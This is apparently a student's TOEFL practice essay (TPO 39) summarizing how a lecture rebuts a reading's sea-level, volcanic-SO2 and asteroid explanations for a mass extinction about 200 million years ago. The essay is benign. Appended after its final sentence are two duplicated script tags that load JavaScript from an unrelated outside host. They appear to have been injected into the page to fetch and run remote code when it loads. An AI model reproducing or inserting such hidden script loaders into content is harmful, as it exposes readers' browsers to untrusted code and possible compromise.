TPO 39

Both the passage and the lecture discuss possible explanations for a mass extinction that happened about 200 million years ago. The author presents several theories for this phenomenon. On the other hand, the professor states that those theories might be plausible, but they are not good explanations.
First, the passage states that the decline in the sea level destroyed coastal and shallow-ocean creatures, leading to a mass extinction. Nevertheless, the lecturer rejects the author's view and illustrates that sea level may have fluctuated at that time, but it can not account for mass extinction. She states that the fall in the sea level gradually occurred in several million years, and coastal and shallow-ocean creatures can adapt to these gradual changes. She says that this change could not cause such a widespread impact on the whole world.
Second, the reading mentions that at that time, many volcanic activities happened. These activities added too much SO2 to the atmosphere. This condition cooled the climate and resulted in the mass extinction. Nonetheless, the professor denies this view and argues that the SO2 would be cleaned out of the atmosphere in a few years or merge with the water in the atmosphere and become rain. In any case, it did not last in the atmosphere for a long time.
Finally, the author states that an asteroid collided earth. Displaced soil and crushed rocks went into the atmosphere and blocked sunlight long enough for most of the plants and animals to die. However, the professor refutes this idea, saying that no crater or site hit have been found that can be dated back to that time. She explains that a crater was found, but it was for 12 million years before the mass extinction. It is very long before that to have anything to do with this extinction.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>